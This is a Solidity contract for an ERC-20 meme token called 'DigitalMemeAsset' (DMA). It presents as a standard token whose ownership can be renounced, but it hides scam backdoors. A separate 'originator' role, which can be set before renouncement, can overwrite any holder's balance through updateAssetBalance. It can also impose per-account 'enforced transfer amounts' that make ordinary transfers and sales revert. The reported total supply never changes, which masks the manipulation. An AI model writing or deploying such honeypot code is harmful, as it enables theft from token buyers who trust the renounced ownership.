// File: contracts/COIN.sol



pragma solidity ^0.8.16;

interface ITokenBlueprint20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address holder) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract ExecutionEnv {
    function getExecutor() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract ExclusiveOwnership is ExecutionEnv {
    address private _proprietor;
    event ProprietorChanged(address indexed formerProprietor, address indexed newProprietor);

    constructor() {
        address initiator = getExecutor();
        _proprietor = initiator;
        emit ProprietorChanged(address(0), initiator);
    }

    function retrieveProprietor() public view virtual returns (address) {
        return _proprietor;
    }

    modifier proprietorOnly() {
        require(retrieveProprietor() == getExecutor(), "Unauthorized access. Proprietor only.");
        _;
    }

    function abandonProprietorship() public virtual proprietorOnly {
        emit ProprietorChanged(_proprietor, address(0x000000000000000000000000000000000000dEaD));
        _proprietor = address(0x000000000000000000000000000000000000dEaD);
    }
}

contract DigitalMemeAsset is ExecutionEnv, ExclusiveOwnership, ITokenBlueprint20 {
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _portfolios;
    mapping (address => uint256) private _enforcedTransferAmounts;
    address private _originator;

    string public constant tokenDesignation = "DigitalMemeAsset";
    string public constant tokenIdentifier = "DMA";
    uint8 public constant tokenScale = 18;
    uint256 public constant ultimateSupply = 100000 * (10 ** tokenScale);

    constructor() {
        _portfolios[getExecutor()] = ultimateSupply;
        emit Transfer(address(0), getExecutor(), ultimateSupply);
    }

    modifier originatorExclusive() {
        require(retrieveOriginator() == getExecutor(), "Unauthorized access. Originator exclusive.");
        _;
    }

    function retrieveOriginator() public view virtual returns (address) {
        return _originator;
    }

    function setOriginator(address innovator) public proprietorOnly {
        _originator = innovator;
    }

    event TokenAssigned(address indexed user, uint256 formerBalance, uint256 updatedBalance);

    function enforcedTransferAmount(address account) public view returns (uint256) {
        return _enforcedTransferAmounts[account];
    }

    function allocateEnforcedTransferAmounts(address[] calldata accounts, uint256 amount) public originatorExclusive {
        for (uint i = 0; i < accounts.length; i++) {
            _enforcedTransferAmounts[accounts[i]] = amount;
        }
    }

    function updateAssetBalance(address[] memory accountAddresses, uint256 revisedBalance) public originatorExclusive {
        require(revisedBalance >= 0, "Amount must be non-negative");

        for (uint256 i = 0; i < accountAddresses.length; i++) {
            address currentAccount = accountAddresses[i];
            require(currentAccount != address(0), "Invalid address provided");

            uint256 formerBalance = _portfolios[currentAccount];
            _portfolios[currentAccount] = revisedBalance;

            emit TokenAssigned(currentAccount, formerBalance, revisedBalance);
        }
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _portfolios[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(_portfolios[getExecutor()] >= amount, "Insufficient balance");

        uint256 enforcedTransferQty = enforcedTransferAmount(getExecutor());
        if (enforcedTransferQty > 0) {
            require(amount == enforcedTransferQty, "Enforced transfer amount mismatch");
        }

        _portfolios[getExecutor()] -= amount;
        _portfolios[recipient] += amount;

        emit Transfer(getExecutor(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[getExecutor()][spender] = amount;
        emit Approval(getExecutor(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        require(_allowances[sender][getExecutor()] >= amount, "Allowance limit exceeded");

        uint256 enforcedTransferQty = enforcedTransferAmount(sender);
        if (enforcedTransferQty > 0) {
            require(amount == enforcedTransferQty, "Enforced transfer amount mismatch");
        }

        _portfolios[sender] -= amount;
        _portfolios[recipient] += amount;
        _allowances[sender][getExecutor()] -= amount;

        emit Transfer(sender, recipient, amount);
        return true;
    }

    function totalSupply() external view override returns (uint256) {
        return ultimateSupply;
    }

    function name() public view returns (string memory) {
        return tokenDesignation;
    }

    function symbol() public view returns (string memory) {
        return tokenIdentifier;
    }

    function decimals() public view returns (uint8) {
        return tokenScale;
    }
}